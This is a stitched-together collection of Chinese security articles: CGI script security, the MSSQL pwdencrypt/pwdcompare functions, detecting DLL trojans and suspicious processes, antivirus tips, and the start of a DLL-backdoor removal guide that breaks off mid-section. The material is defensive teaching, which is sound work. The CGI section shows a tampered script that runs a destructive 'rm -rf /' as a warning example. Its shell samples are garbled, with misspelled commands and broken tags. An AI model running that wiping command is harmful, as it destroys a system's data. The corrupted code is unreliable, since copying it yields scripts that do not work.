一般情况下，应该尽可能熟悉自己的CGI脚本执行的每个外部程序。对程序知道得越多，就越能保护它们免受数据破坏－－一方面可以监视数据，另一方面可以禁止某些选项或特性。外部程序经常是许多CGI程序问题的一种快速方便的解决办法——它们都经过了测试，可以得到，并且灵活多样。但它们也可以成为黑客入侵的方便之门。不要害怕使用外部程序——它们经常是完成CGI程序中某种功能的唯一办法——但是要知道它们可能带来的危害。
3 内部伤害
到目前为止，仅仅考虑了通过Web例览站点的人——从几千里之外——可能带来的潜在的安全危险。但实际上还存在另一种离得更近的危险因素。
在CGI安全问题上常犯的一种错误是忘记了本地用户。尽管通过Web浏览站点的人不影响本地安全，如文件保护和所有者，但Web服务器的本地用户却能这样，必须做出更多努力防止这些入侵。大部分多用户系统上，如UNIX，Web服务器是作为一个程序运行的，而机器仍被许多人使用做着许多事情。仅仅因为为某人与自己一起工作或访问自己的学并不意味着他能抵制住诱惑，而不去捣鼓Web安装从而引起问题。
3.1 CGI脚本用户
大部分Web服务器是作为运行CGI脚本的特殊用户而安装的。这是在CGI程序运行时拥有该CGI程序的用户，并且他所拥有的权限能限制该脚本能做什么事情。
在UNIX下，服务器自己也是作为root(系统的超级用户或管理员)运行的，并允许它使用端口80作为浏览器与之通信的地方(只有root能使用这些被称为"保留的"端口0到1023;所有用户都可以使用其余的端口)。当服务器执行CGI程序时，大部分Web服务器都能设置为以另外一个用户而不是Web服务器本身来运行该程序——尽管不是所有服务器都能这么做。
将CGI脚本作为root运行是很危险的！服务器应被设为利用一个普通用户，如常用的nobody来运行CGI脚本。用户权限越小，运行的CGI脚本能造成的危害就越小。
3.2 Setuid 危险
编程者还应知道自己的UNIX CGI脚本中是否设置Setuid位。如果对某个可执行文件允许该选项，将能使该程序与拥有该文件的用户有同样权限，而不是执行它的用户。如果自己的CGI脚本上设置setuid位，无论服务器作为什么用户来运行它，它的权限都等同于该文件的拥有者。这当然有很大的隐患--可能会对以其权限运行脚本的用户失去控制。幸运的是Setuid位很容易被禁止。对所有CGI脚本执行chmod a-s即能关闭所有的setuid，程序即能以允许的权限运行。
当然，在某些情况下也许希望设置setuid位--例如如果脚本需要以特殊用户身份来运行以访问一个数据库。在这种情况下，必须加倍小心确保该程序的其他文件保护能将可以访问它的用户限制在允许范围内。
3.3 "Community" Web服务器
即使Web服务器以一个常用的用户来执行脚本，仍有一个潜在的问题，那就是一个人并不总是能控制服务器。如果许多人共同控制服务器，每个人都可以将CGI脚本安装作为nobody用户来运行。这就使这些人的任何一个都可以利用CGI程序访问他们原先不能访问的地方，而这些地方是nobody允许进入的。
也许潜在的安全问题的解决办法是将CGI的控制限制为一个人。在某些情况下尽管这似乎是合理的，但对较大站点却经常不太可能。例如，一个大学有几百个学生，每个学生都想试着去编写并安装CGI脚本。
3.4 使用CGI Wrap
当有多个用户可以访问CGI时，对于确定脚本以什么用户运行的问题的一个较好的解决办法是CGI wrap程序。CGI Wrap，可以在using CGI Web站点中找到，是一个简单的包装，它以拥有该文件的用户而不是服务器指定的用户来运行CGI脚本。这种简单的预防措施使脚本拥有者对它可能的危害负责。
因为CGI wrap使得CGI脚本的作者负责他们自己的脚本权限，所以它不仅是一个保护其他人拥有的重要文件的有力的工具，而且是促使人们编写安全的脚本的有力的工具。只有他们自己的文件会处于危险之中，这样的现实对脚本作者会是极大的促进。
3.5 CGI脚本权限
还应该清楚了解CGI脚本被哪个用户拥有以及脚本自身的文件权限。包含脚本的目录的权限也非常重要。
例如，如果Web服务器上的cgi-bin目录是所有人可写的，那任何本地用户将能删除CGI脚本并用另一个来代替。如果脚本本身是所有人可写的话，那么任何人将能修改脚本完成任何事情。
请看下面这段无害的UNIX CGI脚本:
#!/bin/sh
#Send the header
echo"Content-type:tex/html"
echo""
#Send some HTML
echo "<HTML><HEADER><TITLE>Fortune</1TLE><HEADER>
echo "<Body>Your fortune:<HR><PRE>
forune
echo"</BODY><HIML>"
现在，如果脚本上设置的权限允许某个恶意的用户将程序改变如下:
#!/bin/sh
#Send the header
echo "content-type:text/html"
echo""
#Do some damage!
rm-rf/
echo"<HTML><TITLE>Got you! <TITLE><BODY>"
echO"<H1>Ha ha!<H1></BODY></HTML>"
那么下一个在Web上访问该脚本的用户即使他没做什么坏事也会导致大量问题。在Web上检查用户输入的完整性很重要，但更重要的是保证脚本本身未被修改且不能被修改。
3.6 本地文件安全
脚本在本地硬盘上创建的文件的完整性也同样重要。在得到Web用户输入的一个合理的文件名之后，使用该文件名干什么也很重要。根据Web服务器运行的操作系统，权限和拥有者信息可以与文件中的数据一起存在文件上。
例如，UNIX系统能记录文件访问权限，包括创建该文件的用户的权限、同组用户的权限、以及系统其他人的权限。windows NT使用的是一个更复杂访问控制清单系统，但完成的功能大致相同。根据这些标志如设置以及授予或禁止什么权限，Web服务器机器的用户也可能引起麻烦。
例如，在创建一个文件时就应知道给它设置的权限。大部分Web服务器软件将umask或权限码设为0000，意味着可以创建一个任何人可读写的文件。尽管文件上的权限设置对在Web上浏览的人可能没什么不同，但本地访问的用户却能利用不严格的权限设置造成危害。基于这种现实，应该尽可能严格地限制文件权限。
保证每个打开文件的调用都有一个最小限制集合的最简单的办法是设置脚本的umask。umask()是一个UNIX调用，它能对每个后续的文件创建限制权限。umask()的参数是一个数字，用于对后续的文件创建的权限码进行屏蔽。如果umask为0022，则不管在打开文件时给组用户和其他用户赋予了什么显式的权限，都将导致创建的文件仅能被用户自己写。即使已经设置了umask，创建文件时也应该显式指定权限。如果只有CGI脚本能访问文件，那么只有运行CGI程序的用户才能访问该文件——权限为0600。如果另一个程序需要访问该文件，可以使该程序的拥有者成为与CGI脚本同一组的用户，这样只需设置组用户权限——权限为0660。如果必须让所有人都能访问该文件，应使该文件只能读，不能写——权限为0644。
3.7 使用显式路径
最后，本地用户还可以最后一种方式攻击Web服务器——欺骗服务器运行他写的一个外部程序，而不是运行在CGI脚本中指定的程序。下面是一个简单的程序，从UNIX的fortune命令可以看出该浏览者还比较聪明。
#!/bin/sh
# Send the header
echo"conten_type:text/html"
echo""
#Send the fortune
echo"<HTML><HEADER><TITLE>Fortune</TITLE></HEADER><BODY>"
echo "<You crack open the cookie and the fortune reads:<HR><PRE>"
fortune
echo "</PRE><BODY></HTML>"
该脚本看起来可一点没有害处。它不接收用户输入，所以用户不能籍此搞什么把戏。因为它仅由Web服务器运行，所以脚本本身的权限设置可以非常严格，可以防止任何有企图的本地用户修改它。如果对该脚本所在的目录也设置了正确的权限的话，看起来就没什么地方可以出问题了，是不是？
当然还有问题。记住得要有点偏激。
上述程序清单调用了外部程序，在本例中是echo和fortune。因为这些脚本没有用显式路径指明它们在硬盘上的位置，该shell即使用PATH环境变量来找到它们，从变量中的每一项查找要执行的程序。这可能很危险。例如，如果fortune程序安装在/usr/games中，但PATH中在它之前列出了/TMP，那么任何碰巧命名为"fortune"并位于临时目录的程序都会被执行，而不是真正的fortune。
该程序可以做它的创建者想做的任何事情，可以删除文件，也可以登记有关请求信息并将数据传给真正的fortune——使用户和编程者谁也不聪明。在CGI脚本中运行外部程序时一定要指定显式的路径。PATH环境变量有很大作用，但它与其他变量一样也能被非法使用。
4 使用他人CGI脚本时的注意事项
关于CGI，可以从很多地方获得信息——从Internet上，从学校图书馆中，从像本书这样的书中，UseNet组中以及朋友和同事中。从这些地方不仅可以获得信息，还可以得到实际的程序和库。有些程序和库如果已经有人做过了为什么自己还要从头再做一遍呢？但就像不能盲目听从别人的意见一样，关于如何理财，如何驾车或者生活中的别的方面，同样，也不能在自己的服务器上盲目地运行另从的代码。从Net上得到的脚本也可能真正是很好的脚本。但也许并不是。花些时间考察一下脚本的来源以及获取它的站点的可靠性是值得的。
4.1 追根求源
某些Web拥有者。如果不能看到并研究源代码的话，他们甚至都不会运行一个公共的、免费的或商业性的脚本。这可能有点偏激。如果某个声誉很好的公司销售一个文档详细且广为使用的脚本，该脚本应该比自己写的脚本更安全一些。原因有二。首先，专业人才知道并能避免一些常见的安全漏洞；其次，公司是为了嫌钱而做生意，如果他们以次充好或销售那些恶意的产品就不能再做生意赚钱了。
从另一方面来看，如果UseNet组中看到一个编译好的可执行文件出自一个从没听说过的人，没有什么文档可以看，也没有该程序的用户可以交流交流，那么在将它放入自己的服务器之前一定要仔细考虑。也有可能这是来自一个像自己一样的另一个CGI编程者的完全合法的贡献，目的是想让全世界共享他的编程成果。但它也可能来自某个恶意的，具有变态幽默感的，只想看到自己能使多少人清盘的人。
在评价公共的免费软件或商业性软件时，应考虑下面这些方面:
该脚本来自一个声誉好的站点吗？该站点存在很长一段时间了吗？它维护得好吗？Web拥有者在发布文件前进行检查吗？
有没有足够的文档说明该程序如何工作以及用户如何使用等信息？
有多少人已经下载了该脚本？该站点愿意提供顾客名单吗？(仅在有疑问时才去询问；Web拥有者不会整天去回答这类问题。)
有人在UseNet上讨论该脚本吗?如果有，他们说好还是不好？如果没人提到该脚本可以进一步请求别人的见解。一般总会有人响应的。
提示
在评价脚本时检查下面这些useNet组: comp.security.announce,comp.securiy.unix,以及comp.infosystem.www.authority.cgi。另外还可以访问位于ftp.cert.org的Computer
Emergency Response Team，以了解安全问题的历史及有关工作以及安全保护的软件。
5)该脚本的作者有没有一些别的好名声的脚本？
6)源代码能得到吗？免费的或有价的都行。
7)该程序是不是过份宣传它的能力？如果是，这可能是一个编程新手。
8)该站点自己运了该脚本吗？如果没有，为什么？能找到别的站点运行该脚本吗？过分偏激以及时间限制
尽管游览取自Web的所有代码是个好主意，但要花费很多时间，特别是当代码比较复杂时更是如此。
例如，NCSA HTTPd就太大了，一般用户不可能一行行去读，但是从它的主站点http://www.ncsa.uiuc.edu下载它却能保证极好的完整性，满足任何用户的需要。实际上，任何从NCSA下载的东西都是有保障的。
实际上，Web上的许多著名的站点已经为用户做了大部分的几乎偏激的代码检查工作。从它闪中下载代码是可能利用的另一层另一层保护。这些站点包括：
_httpd/cgi(the">ftp://ftp.ncsa.uiuc.edu/Web/httpd/Unix/ncsa_httpd/cgi(the NCSA Archive)
http://www.novia.net/~geewhiz(Virtual Webwerx Division Zero-CGI Land)
http://www.lpage.com/cgi(the World-Famous Guestbook Server)
http://sweetbay.will.uiuc.edu/cgi++(cgi++)
http://www.aee.com/wdw(the Web Developers Warehouse)
4.2 注意礼貌
最后，如果确实希望从Web上下载一些CGI代码，或者完整地使用它，或者用作自己编写的更大程序的一部分，还应了解一些事情。
代码是兔费的并不意味着可以自由地用它作自己想做的任何事情。通常程序和库是禁止拷贝的，如果原始作者没有放弃这个权力，他即能限制如何使用该程序。例如，作者可能禁止拆散该脚本，及禁止用作别的脚本的一部分。
一跟来说，在使用别人的代码之前(即使已经确定它是安全的)，最好与作者进行联系取得许可。至少这样做比较有礼貌。而大部分情况下，作者会很高兴他的代码能被别人利用。当然，如果在自己程序某个片段处注明原始作者将是很礼貌的


MsSQLServer是如何加密口令的 未公开的加密函数

如果对MSSQL的用户信息有兴趣的，可能会发现master.dbo.sysxlogins里面存放着用户的口令，可是呢，password字段
如果不是null就是一堆看不懂的binary，这个口令是怎么加密的呢？
其实只要仔细看看master.dbo.sp_addlogin就知道了，MSSQL的sp都可以看到代码，真是不错。
让我们来看看它是怎么做的，注意这一行select @passwd = pwdencrypt(@passwd)，这个时后@passwd就被加密了，让
我们也来试一下

DECLARE @ClearPWD varchar(255)
DECLARE @EncryptedPWD varbinary(255)
SELECT @ClearPWD = 'test'
SELECT @EncryptedPWD = CONVERT(varbinary(255), pwdencrypt(@ClearPWD))
SELECT @EncryptedPWD

看上去不错，确实被加密了，可是我怎么还原呢？
呵呵，这就没戏了，口令加密都是单向的，用加密后的密文来比较就可以了。
继续看看其它用户相关的sp，可以发现master.dbo.sp_password里面有口令比较的内容。

pwdcompare(@old, password, (CASE WHEN xstatus&2048 = 2048 THEN 1 ELSE 0 END))

不用去理会xstatus，这是一个状态掩码，一般我们用的时候就直接用0就可以了

DECLARE @ClearPWD varchar(255)
DECLARE @EncryptedPWD varbinary(255)
SELECT @ClearPWD = 'test'
SELECT @EncryptedPWD = CONVERT(varbinary(255), pwdencrypt(@ClearPWD))
SELECT pwdcompare(@ClearPWD, @EncryptedPWD, 0)
SELECT pwdcompare('ErrorPassword', @EncryptedPWD, 0)

这样我们就可以使用这两个函数来加密自己的密码了，怎么样，还不错吧？


动态嵌入式DLL木马发现与清除
随着MS的操作系统从Win98过渡到Winnt系统（包括2k/xp），MS的任务管理器也一下子脱胎换骨，变得火眼金睛起来（在WINNT下传统木马再也无法隐藏自己的进程），这使得以前在win98下靠将进程注册为系统服务就能够从任务管理器中隐形的木马面临前所未有的危机，所以木马的开发者及时调整了开发思路，所以才会有今天这篇讨论如何清除动态嵌入式DLL木马的文章。
首先，我们来了解一下什么是动态嵌入式木马，为了在NT系统下能够继续隐藏进程，木马的开发者们开始利用DLL（Dynamic Link Library动态链接库）文件，起初他们只是将自己的木马写成DLL形式来替换系统中负责Win Socket1.x的函数调用wsock32.dll(Win Socket2中则由WS2_32.DLL负责)，这样通过对约定函数的操作和对未知函数的转发（DLL木马替换wsock32.dll时会将之更名，以便实现日后的函数转发）来实现远程控制的功能。但是随着MS数字签名技术和文件恢复功能的出台，这种DLL马的生命力也日渐衰弱了，于是在开发者的努力下出现了时下的主流木马－－动态嵌入式DLL木马,将DLL木马嵌入到正在运行的系统进程中.explorer.exe、svchost.exe、smss.exe等无法结束的系统关键进程是DLL马的最爱，这样这样在任务管理器里就不会出现我们的DLL文件，而是我们DLL的载体EXE文件.当然通过进一步的加工DLL木马还可以实现另外的一些如端口劫持/复用(也就是所谓的无端口)、注册为系统服务、开多线程保护、等功能。简而言之，就是DLL木马达到了前所未有的隐蔽程度。
那么我们如何来发现并清除DLL木马呢？
一，从DLL木马的DLL文件入手，我们知道system32是个捉迷藏的好地方，许多木马都削尖了脑袋往那里钻，DLL马也不例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的EXE和DLL文件作一个记录：运行CMD--转换目录到system32--dir *.exe>exeback.txt& dir *.dll>dllback.txt,这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.这是我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好，如果有的话也不要直接DLL掉，我们可以先把它移到回收站里，若系统没有异常反应再将之彻底删除或者提交给杀毒软件公司。
二、上文也曾提到一些系统关键进程是这类木马的最爱，所以一旦我们怀疑系统已经进驻了DLL木马，我们当然要对这些关键进程重点照顾了趺凑展耍空饫锿萍鲆桓銮看蟮耐芽枪ぞ吖ぞ逷rocedump.exe他可以帮您看出进程到底调用了那些DLL文件（如图1）但是由于有的进程调用的DLL文件非常多，使得靠我们自己去一个核对变的不太现实，所以我们会用到一个shotgun写的NT进程/内存模块查看器ps.exe，用命令ps.exe/a /m >nowdlls.txt将系统目前调用地所有DLL文件地名称保存到nowdlls.txt，然后我们再用fc将之于事先备份dllback.txt比较一下，这样也能够缩小排查范围。
三、还记得木马的特征之一端口么？所有的木马只要进行连接，只要它接受/发送数据则必然会打开端口，DLL木马也不例外，这也为我们发现他们提供了一条线索，我们可以使用foundstone的进程端口查看工具Fport.exe来查看与端口对应的进程,这样可以将范围缩小到具体的进程,然后结合Procedump来查找DLL木马就比较容易了.当然有如上文提到的有些木马会通过端口劫持或者端口重用的方法来进行通信,139、80、1443、等常见端口则是木马的最爱。因为即使即使用户使用端口扫描软件检查自己的端口，发现的也是类似TCP UserIP:1026　ControllerIP:80ESTABLISHED 的情况，稍微疏忽一点，您就会以为是自己在浏览网页(防火墙也会这么认为的)。所以光看端口还不够，我们要对端口通信进行监控，这就是第四点要说的。
四、我们可以利用嗅探器来了解打开的端口到底在传输些什么数据。通过将网卡设为混杂模式就可以接受所有的IP报文，嗅探程序可以从中选择值得关注的部分进行分析，剩下的无非是按照RFC文档对协议进行解码。这样就可以确定木马使用的端口，结合Fport和Procedump我们就能够查找到该DLL木马了。至于嗅探器个人推荐使用IRIS，图形界面比较容易上手。
五、通常说道查杀木马我们会习惯性地到注册表碰碰运气，以前可能还蛮有效的，但如果碰到注册为系统服务的木马（原理：在NT/2K/XP这些系统中，系统启动时会加载指定的服务程序）这时候检查：启动组/注册表/autoexec.bat/win.ini/sysytem.ini/wininit.ini/*.inf(例如autorun.inf)/config.sys等文件就发现不了丝毫的异样，这时候我们就应该查看一下系统服务了：右击我的电脑－－管理－－服务和应用程序－－服务，这时您会看到100多个服务，（MS也真是的，其中75％对个人用户无用，可以禁止。），慢慢找吧，看谁不顺眼就把它拎出来：），当然如果您以前曾经用导出列表功能对服务备份过，则用文件比较的方法会很容易发现哪些是外来客，这时您可以记录下服务加载的是那个文件，然后用Resource Kits里提供的srvinstw.exe来移除该服务并清除被加载的文件。
通过以上五步，基本能发现并清除狡猾的动态嵌入式DLL木马了,也许您也发现如果适当地做一些备份，会对我们的查找木马的过程有很大的帮助，当然也会减轻不少工作的压力哦。


从进程查找木马的蛛丝马迹
对于进程这个概念，许多电脑用户都没有给予太多关注。在很多人印象里，只知道结束进程可以杀死程序，至于哪些进程对应哪些程序，究竟什么样的进程该杀，什么样的进程不能杀这些问题很少考虑。这里通过几个实例为大家揭开进程的神秘面纱。
    实例一：和进程的“表演者”交个朋友
    很多时候，我们并没有注意到系统中到底有多少进程。如果想了解进程的秘密，首先就必须和一些常见系统进程交个朋友，一旦掌握了它们，就能像侦探一样迅速从进程名单中发现可疑的家伙。
    在Windows 2000/XP中，Ctrl+Shift+Esc组合键能快速调出任务管理器，而Windows 9X为Ctrl+Alt+Del组合键。
    1.“主角”进程
    首先来熟悉一下系统中的基本进程，它们是系统运行的基本条件，一般情况下不能关闭它们，否则会导致系统崩溃。
    Windows 2000/XP：smss.exe、csrss.exe、winlogon.exe、services.exe、lsass.exe、svchost.exe(可以同时存在多个)、spoolsv.exe、explorer.exe、System Idle Process；
    Windows 9x：msgsrv32.exe、mprexe.exe、mmtask.tsk、kenrel32.dll。
    你知道吗
    进程与程序
    简单地说，每启动一个程序，就启动了一个进程。在Windows 3.x中，进程是最小运行单位。在Windows 9X/2000/XP中，每个进程还可以启动几个线程，比如每下载一个文件可以单独开一个线程。在Windows 9X/2000/XP中，线程是最小单位。程序是永存的，进程是暂时的。举一个例子说：如果程序是剧本，那么表演过程就是进程；如果程序是菜谱，那么烹调过程就是进程。
    人鬼情未了——Svchost.exe
    它位于系统目录的System32文件夹，是从动态链接库(DLL)运行服务的一般性宿主进程。在任务管理器中，可能会看到多个Svchost.exe在运行，不要大惊小怪，这可能是多个DLL文件在调用它。不过，正因为如此，它也成为了病毒利用的对象，以前的“蓝色代码”病毒就是一例。另外，如果感染了冲击波病毒，系统也会提示“Svchost.exe出现错误”。
    如果要查看哪些服务正在使用Svchost.exe，对于Windows 2000可从其安装光盘的SupportToolsSupport.cab压缩包中，将Tlist.exe解压缩至任意目录，接着在“命令提示符”中进入Tlist.exe所在目录，输入“tlist -s”并回车(“tlist pid”命令可看到详细信息)。而在Windows XP则直接输入“Tasklist /SVC”查看进程信息(“Tasklist /fi "PID eq processID"”则可看到详细信息)。
    2.“配角”进程
    这些系统进程虽然不是系统运行必须的，但也经常在进程列表中抛头露面。如internat.exe、systray.exe、rundll32.exe、loadwc.exe、ddhelp.exe、mstask.exe、ctfmon.exe、taskmagr.exe、msnmsgr.exe、wmiexe.exe，它们都是正常的系统进程。
    建议在安装完Windows后，点击“开始→程序→附件→系统工具→系统信息”，在打开的“系统信息”窗口中再点击“软件环境→正在运行任务”(在此进程列表中，可看到更详细的属性，其中程序路径是非常重要的信息)，接着点击“操作→另存成文本文件”，以后系统出现异常时则对照进行分析。另外，“优化大师”也提供了保存进程快照的功能●。
    实例二：查找木马的蛛丝马迹
    许多木马和一些防护工具采用了双进程保护手段，例如“Falling Star”木马就采用双进程模式，下面来看看如何发现它们。
    第一步：打开任务管理器。根据和常见进程比较，很明显会发现两个“熟悉的陌生人”(和系统基本进程名称相似，但不相同)：“internet.exe”和“systemtray.exe”。请和上一实例中的”配角“进程比较。
    第二步：打开“系统信息”的“软件环境→正在运行任务”，查看路径信息，两者均指向WindowsSystem32目录，而且文件大小、日期均相同，但从文件日期来看并不属于微软的系统文件。进入资源管理器查看其版本属性，虽然公司标明为Microsoft，但与系统文件中的微软公司名称书写并不相同，基本可断定是非法进程，并且为双进程模式.
    第三步：在尝试结束进程时，第一次选择“systemtray.exe”来结束进程树，结果进程马上就再生了，任务管理器中又显示出这两个进程！于是再次选择“internet.exe”，然后结束进程树●。进程没有再生，从而将木马进程从系统中清除。
    实例三：真真假假系统进程
    许多病毒和木马为避免从进程名称中发现它们的踪影，往往会采用“障眼法”，使用和系统文件或系统进程名称类似的进程名称。
    1.文件名伪装
    (1)修改常见程序或进程个别字符
    例如，上面介绍的“Falling Star”木马的进程名称“internet.exe”就与输入法进程“internat.exe”十分相似。“WAY无赖小子”的服务端进程名称为“msgsvc.exe”，与系统基本进程“msgsrv32.exe”类似，还有Explorer.exe和Exp1orer.exe的区别，不仔细的话你能看出来吗？(数字“1”取代了字母“l”)
    (2)修改扩展名
    著名的冰河木马的服务端进程为Kernel32.exe，乍一看很熟悉，好像是哪个系统进程，其实系统根本不存在这样一个文件，Windows 9x的基本进程中却有一个叫做“Kernel32.dll”的。诸如此类的还有“Shell32.exe”的木马进程是从“Shell32.dll”这个大家都很熟悉的文件“演变”而来的，实际在系统中都是不存在的。
    2.路径伪装
    Windows目录和System目录是系统核心文件所在地，一般是“闲人免进”。因此，出入它们的文件一般都被人们认为是系统文件，而病毒和木马就借机将源文件放在这两个目录中。对于这类情况，一般只需要通过系统信息找到其源文件路径，打开文件的属性，从日期(这个非常重要，可以看是否与系统文件日期一样)、版本、公司名称信息中即可看出破绽。没有哪个病毒、木马文件能设计得与系统文件完全一致。
    实例四：优化系统从进程开始
    除系统运行必须的基本进程外，每个程序运行后都会在系统中生成进程，每个进程都会占用一定的CPU资源和内存资源。过多的进程和一些设计不良的进程就会导致系统变慢、性能下降，这时可对它们进行一下优化。
    1.精简进程
    系统中的一些进程并不是必须的，结束它们并不会对系统造成什么损害。
    比如：internat.exe(显示输入法图标)、systray.exe(显示系统托盘小喇叭图标)、ctfmon.exe(微软Office输入法)、mstask.exe(计划任务)、sysexplr.exe(超级解霸伺服器)、winampa.exe(Winamp代理)、wzqkpick.exe(WinZip助手)等。
    有一款叫做“进程杀手”的免费小工具，具备自动精简进程功能，可自动中止系统基本进程以外的所有进程。在怀疑电脑运行了某些黑客进程或病毒进程但又不能确定是哪一个时，该软件就可以有效清除那些非法进程。不过它只适合Windows 9x/Me。下载地址http://js-http.skycn.net:8080/down/prockiller_23.rar。
    2.杀死不良进程
    有时你会发现系统运行速度特别慢，这时可打开任务管理器，单击“进程”标签，点击“CPU”列标签让进程按CPU资源占用排序，可以很明显地看到资源占用最高的程序。同样方法，可以点击“内存”列标签，查看那些内存占用大户，及时结束进程。
    这里有一种情况比较特殊：在查看CPU占用率时，一个叫做“System Idle Process”的进程会一直显示在90%左右。不必担心，实际上它并没有占用这么多系统资源，单击“性能”标签可看到其实际的CPU资源占用情况。
    ★对于Windows 9x，使用任务管理器是无法像Windows 2000/XP那样看到所有进程以及CPU、内存占用情况，推荐使用Process Explorer(下载地址http://www.sysinternals.com/ntw2k/freeware/procexp.shtml)。
    ★如果某个16位程序影响了系统运行，而且死活也关不掉，可进入任务管理器的进程选项卡，找到NTVDM.exe进程，将其关掉即可杀掉所有16位应用程序，而不用重启。
    3.优化软件或游戏性能
    你还可以通过改变软件和游戏进程优先级来提高其性能，这样能使它们运行得更快，当然负作用就是可能影响到其他正在运行的进程。比如，为避免刻录缓存溢出问题造成刻录失败，可进入任务管理器的进程选项卡，找到并右击刻录软件的进程项，选择“设置优先级”，然后在弹出的子菜单中选择“高”。如果你不想每次都这样设置，可使用下面的方法。
    第一步：打开软件或游戏所在目录，比如：D:/game，在这里新建一个文本文件，在其中输入以下语句：
    echo off
    start /priority game.exe
    说明：将priority替换为所需的CPU优先级，建议使用high(高)、abovenormal(高于标准)，因为它们的效果最好。将game.exe替换为软件或游戏的可执行文件名称，比如：stvoy.exe。

    第二步：做完以上修改后将其保存为game.bat，现在就能通过这个文件来启动游戏或软件，而它将会使游戏或软件具有更高的CPU优先级。不过要注意的是，该文件必须要保存在游戏或软件所在目录


防毒、杀毒小心得
如今网络世界并不安宁，病毒、木马、恶意网页代码、黑客等一直在威胁着许多善良网民的计算机安全。然而，在他们之中，病毒算是他们的老大了，出现时间最早，危害也不小。下面，我讲讲我自己在防毒、杀毒的心得，虽然不一定总结的十分准确和全面，但是也能攻各位参考。
防毒篇：
我个人觉得，只要用户及时升级反病毒软件，并且时刻开启实时监控（防火墙），中病毒的可能是很小的。但是要注意，设置必须正确，下面说说我的个人看法：我觉得必须设置监控所有的文件（包括压缩文件），因为现在的病毒并不是只感染固定的一种格式，而是无处不在，如果监控不全面就会让病毒有机可乘，如果有两种以上反病毒软件，可以各取所长。
另外，就要堤防来自于网络的病毒。
第一，提防恶意网页代码。某些恶意网页代码本身没有攻击性，但是他会从网上下载病毒。这种恶意网页代码是网络病毒传播的一种方式，不可不防。
第二，堤防邮件病毒。有些邮件是以HTML的形式发出的，如果它里面还有恶意脚本，那么很可能将病毒引入计算机内。其次，就是不要随便打开邮件中的附件。
杀毒篇：
如今的硬盘越来越大，全盘杀毒很费时间，如果发现异常，可以先定位杀毒，这样可以节省时间，但是很可能会杀不干净。下面，我讲讲我自己总结的定位杀毒方法：
第一，查内存。病毒发作时一定会进入内存，所以才会导致计算机速度锐减。所以，在计算机速度锐减的时候，看看内存中的异常文件，就很容易发现病毒的藏身之地。
第二，查网络。某些病毒发作会借助网络来传播自己。所以，如果非用户操作网络连接不断，用户就要警惕了！用某些软件就可以查出他的路径。
第三，查时间。如果在某一天，计算机出现中毒的征兆，在此前的两星期安装、下载的文件必须重点扫描，但是对于潜伏性的病毒，这个方法明显是不行的。
第四，查大小。一般情况下，文件中病毒以前要比中病毒后要大得多，可以利用这一点来初步判断该文件是否中病毒。但是，这种方法只是笨拙的愚公移山！
第五，查注册表。许多病毒发作时都会写入注册表。所以检查HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current\Version\Run的异常启动项目可以查出病毒的路径。
相信不少朋友都中过病毒吧，中毒后杀毒该怎么办呢？这就要分两种情况：
第一，根本不知道中了什么病毒。这是就必须用专业反病毒软件进行查杀。这，可能就不用我多说了吧。
第二，可以判断出中了什么病毒。这时候，就建议使用专用杀毒工具。为什么呢？因为大多专用杀毒工具查毒、杀毒是用特征代码法。特征代码法最大的好处就是精确，不会误报；但是最大的缺点就是有着局限性：无法查杀变种，无法查杀未知病毒，可查杀病毒越多查杀速度越慢。既然知道种了什么病毒，用专用杀毒工具比用专业杀毒软件更加精确、更加彻底。

使用网络安全软件的几个误区（瑞星社区热门话题）
如今，有许多人对使用网络安全软件存在许多误区，下面我就简单的讲讲：
第一，认为网络安全软件没用。的确，水平很高的人可以不通过网络安全软件来实现网络安全，但是水平高的人毕竟很有限，然而有些人听了别人的一席话，就不相信网络安全软件的可信性，是很不明智的！我承认，没有十全十美的网络安全软件，也没有万无一失的网络安全软件，但是是不是因为有缺点而不需要他呢？不见得吧。
第二，认为安装了网络安全软件就万事大吉。安装了网络安全软件后要做的事情还很多。有些网友不爱升级网络安全软件，这是十分不明智的。不升级，很难达到相对的安全。就是因为网络安全软件有局限性，所以才要靠升级来补救。有些网友不爱让计算机启动时开启网络安全软件，这不是让网络安全软件试去了自己的作用吗？中了病毒，说某某杀毒软件没用，其实是自己不开防火墙。被黑客入侵，说某某软件浪得虚名，其实是自己不愿让他发挥作用......
第三，认为网络安全软件是万能的。某些网友安装了网络安全软件后就肆无忌弹的胡闹，上面已经说过网络安全软件有他的局限性，不可能万无一失！


作者：dahubaobao [Nuke Group]
主页：http://www.ringz.org
团体站点：http://www.digitalnuke.com/main/
邮件：dahushibaobao@vip.sina.com
QQ：47809945
发表于黑客X档案2004年2期
工具及图片都在压缩包中，解压密码：www.ringz.org http://dahubaobao.go.nease.net/DLL.rar
=====================================================================
握着你的“手”来清除DLL后门
------DLL后门清除完全篇
前言
后门！相信这个词语对您来说一定不会陌生，它的危害不然而欲，但随着人们的安全意识逐步增强，又加上杀毒软件的“大力支持”，使传统的后门无法在隐藏自己，任何稍微有点计算机知识的人，都知道“查端口”“看进程”，以便发现一些“蛛丝马迹”。所以，后门的编写者及时调整了思路，把目光放到了动态链接程序库上，也就是说，把后门做成DLL文件，然后由某一个EXE做为载体，或者使用Rundll32.exe来启动，这样就不会有进程，不开端口等特点，也就实现了进程、端口的隐藏。本文以“DLL的原理”“DLL的清除”“DLL的防范”为主题，并展开论述，旨在能让大家对DLL后门“快速上手”，不在恐惧DLL后门。好了，进入我们的主题。
一，DLL的原理
1，动态链接程序库
动态链接程序库，全称：Dynamic Link Library，简称：DLL，作用在于为应用程序提供扩展功能。应用程序想要调用DLL文件，需要跟其进行“动态链接”；从编程的角度，应用程序需要知道DLL文件导出的API函数方可调用。由此可见，DLL文件本身并不可以运行，需要应用程序调用。正因为DLL文件运行时必须插入到应用程序的内存模块当中，这就说明了：DLL文件无法删除。这是由于Windows内部机制造成的：正在运行的程序不能关闭。所以，DLL后门由此而生！
2，DLL后门原理及特点
